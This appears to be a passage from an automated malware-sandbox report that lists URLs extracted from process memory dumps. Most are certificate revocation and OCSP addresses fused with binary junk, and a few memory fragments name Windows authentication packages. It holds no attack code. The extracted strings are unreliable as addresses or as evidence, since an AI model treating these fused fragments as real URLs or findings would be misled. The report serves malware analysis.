"http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://oneocsp.microsoft.com/ocsp0*.wns.windows.com0072,;apshot,kernel32.'pupku2ucloudapttypentlmtssspwdigestl$0ht$8ld$@ll$hhl$0hlmemp" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris'/^g(o-ceahsm1.2.840.10045.2.11.3.6.1.5.5.7.1.121.2.840.113533.7.65.02.16.840.1.113730.1.131.2.840.10045.4.3.3microsoft" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001352.00000001.177223.1FC80000.00000004.mdmp") Found URL "http://scheicrosoft.com/windows/2004/02/mit/task" - Source: "00000000-00002592.00000000.177629.03360000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcd6de76,1c0100000a00000000000000a00000000000000000000000000000000p000000000000000000000000000000000000000000000000000000000000000000000000000000000000p" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0digicert" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?panw" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002592.00000001.179550.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002592.00000001.179550.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com0@bi\6" - Source: "00000000-00002592.00000001.179550.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002592.00000001.179550.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002592.00000001.179550.09AF0000.00000004.mdmp") Found URL "https://peps.python.org/pep-0263/" - Source: "00000000-00002592.00000001.179550.6EF9D000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcd6de76,1c0100000a00000000000000a00000000000000000000000000000000p000000000000000000000000000000000000000000000000000000000000000000000000000000000000p" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0digicert" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?panw" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002592.00000002.181470.05870000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002592.00000002.181470.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com0@bi\6" - Source: "00000000-00002592.00000002.181470.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002592.00000002.181470.09AF0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002592.00000002.181470.09AF0000.00000004.mdmp") Found URL "https://www.python.org/psf/license/stringio_exitnames_requires_builtin.._requires_builtin_wrappererror" - Source: "00000000-00002592.00000002.181470.6F10A000.00000004.mdmp") Found URL "https://peps.python.org/pep-0263/" - Source: "00000000-00004796.00000000.177440.721FD000.00000002.mdmp") Found URL "https://www.python.org/psf/license/stringioddr@;rtn>r8r" - Source: "00000000-00004796.00000000.177440.7236A000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005396.00000000.175594.356D2000.00000002.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%yus1[digih" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?g%!]\yj" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%y0$0" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005396.00000000.175594.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005396.00000000.175594.AD480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005396.00000000.175594.AD480000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005396.00000000.175594.AD480000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%yus1[digih" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?g%!]\yj" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn%y0$0" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005396.00000001.175978.ACFA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005396.00000001.175978.AD04D000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsanonymously" - Source: "00000000-00005396.00000001.175978.AD04D000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: 